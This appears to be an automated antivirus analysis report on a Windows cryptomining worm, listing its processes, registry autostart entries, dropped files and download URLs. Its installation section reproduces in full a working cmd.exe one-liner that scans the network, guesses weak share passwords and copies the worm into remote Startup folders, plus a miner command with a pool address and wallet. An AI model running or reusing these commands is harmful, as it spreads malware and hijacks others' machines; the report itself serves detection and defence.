Worm.Win32.MALXMR.B

This Worm arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Worm arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Worm adds the following processes:

• %Application Data%\TempoRX\VID001.exe
• %User Temp%\javarx.exe -pJavajre_set7z -> if running as Administrator
• %User Temp%\javarx2.exe -pJavajre_set8z -> if running as Administrator
• %System%\cmd.exe /c taskkill /f /im NsCpuCNMiner* & taskkill /f /im IMG0*
• %System%\cmd.exe /c taskkill /f /im uihost* & taskkill /f /im DOC0*
• %Application Data%\TempoRX\uihost64.exe
• %System%\cmd.exe /v:on /c (for /f "usebackq tokens=1,*" %i in (`net view^|find /i "\" ^|^| arp -a^|find /i " 1"`) do set str_!random!=%i)& for /f "usebackq tokens=1* delims==" %j in (`set str_`) do set s=%k& set s=!s:\=!& set l=!s:-PC=!& set l=!l:-\xc3\x8f\xc3\x8a=!& set f=VID001.exe& if not "!s!"=="%COMPUTERNAME%" (for /f "usebackq tokens=1,*" %j in (`net view \!s!^|find /i " "`) do echo f|xcopy /y /d "%Application Data%\TempoRX\VID001.exe" "\!s!\%j\VID001.exe") & net use * /delete /y & (for %u in (1 !l! administrator user admin \xc3\xa0\xc3\xa4\xc3\xac\xc3\xa8\xc3\xad\xc3\xa8\xc3\xb1\xc3\xb2\xc3\xb0\xc3\xa0\xc3\xb2\xc3\xae\xc3\xb0) do @for %p in (0 "" %u 1 123) do ping -n 3 localhost & (for %c in (\!s!\C$ \!s!\Users) do (if not "%p%u"=="01" net use %c "%p" /user:"%u") && ((for %d in ("%c\1\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\1\%u\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!") do echo f|xcopy /y /d "%Application Data%\TempoRX\VID001.exe" %d) & net use %c /delete /y & ping -n 20 localhost)))
• taskkill /f /im NsCpuCNMiner*
• taskkill /f /im IMG0*
• taskkill /f /im uihost*
• taskkill /f /im DOC0*
• %System%\cmd.exe /c net view|find /i "\" || arp -a|find /i " 1"
• %System%\cmd.exe /c set str_
• %System%\cmd.exe /c net view \{local IP address}|find /i " "
• net use * /delete /y
• %System%\PING.EXE ping -n 3 localhost
• %System%\cmd.exe /S /D /c" echo f"
• xcopy /y /d "%Application Data%\TempoRX\VID001.exe" "\{local IP address}\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
• xcopy /y /d "%Application Data%\TempoRX\VID001.exe" "\{local IP address}\C$\Documents and Settings\1\Start Menu\Programs\Startup\VID001.exe"
• xcopy /y /d "%Application Data%\TempoRX\VID001.exe" "\{local IP address}\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
• net use \{local IP address}\C$ /delete /y
• %System%\PING.EXE ping -n 20 localhost
• xcopy /y /d "%Application Data%\TempoRX\VID001.exe" "\{local IP address}\Users\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
• xcopy /y /d "%Application Data%\TempoRX\VID001.exe" "\{local IP address}\Users\Documents and Settings\1\Start Menu\Programs\Startup\VID001.exe"
• xcopy /y /d "%Application Data%\TempoRX\VID001.exe" "\{local IP address}\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
• net use \{local IP address}\Users /delete /y
• net view
• find /i "\"
• %System%\ARP.EXE arp -a
• find /i " 1"
• net view \{local IP address}
• find /i " "
• %Application Data%\TempoRX\uihost32.exe -o stratum+tcp://xmr-eu2.nanopool.org:14444 -t 1 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQo6GYsXhWxuSrS7Uka.V --donate-level=1 --coin monero -p x

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It creates the following folders:

• %Application Data%\TempoRX

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Autostart Technique

This Worm adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
(Default) = "" - > empty data, if running as Administrator

It drops the following file(s) in the Windows User Startup folder to enable its automatic execution at every system startup:

• %User Startup%\explorer.lnk - > if running as Administrator

(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).)

Other System Modifications

This Worm adds the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Run
(Default) = "" > empty data, if running as Administrator

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\RFC{username}{username}56Agent\CurrentVersion\
Parameters
TrapPollTimeMilliSecs = "15000" -> if running as Administrator

Dropping Routine

This Worm drops the following files:

• {Removable Drive}\VID001.exe
• %Application Data%\TempoRX\uihost32.exe
• %System Root%\VID001.exe -> if running as Administrator
• %User Temp%\javarx.exe -> if running as Administrator
• %Application Data%\TempoRX\VID001.exe
• %User Temp%\javarx2.exe -> if running as Administrator
• %Application Data%\TempoRX\uihost64.exe

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other Details

This Worm connects to the following possibly malicious URL:

• http://{BLOCKED}s.ru/javarx.dat
• http://{BLOCKED}p.ru/javarx2.dat

This report is generated via an automated analysis system.